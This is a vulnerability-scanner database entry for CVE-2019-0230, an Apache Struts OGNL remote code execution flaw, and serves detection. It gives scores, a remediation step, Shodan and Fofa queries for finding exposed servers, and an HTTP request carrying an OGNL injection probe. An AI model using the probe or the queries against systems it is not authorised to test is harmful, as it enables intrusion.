🔙 목록으로 돌아가기

CVE-2019-0230: Apache Struts <=2.5.20 - Remote Code Execution

TitleApache Struts <=2.5.20 - Remote Code Execution
Authorgeeknik
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
RemediationUpgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
CVSS Score9.8
EPSS Score0.93727
CVE IDCVE-2019-0230
CWE IDCWE-1321
Shodan Queryhttp.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report"
Fofa Querybody="struts problem report"title="struts2 showcase"body="apache struts"
Tags cve cve2019 tenable packetstorm struts rce apache vuln

🔍 Vulnerability Description

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.

🌐 HTTP Request

GET /?id=lAMxPj%25{128*128} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0230.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-0230.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A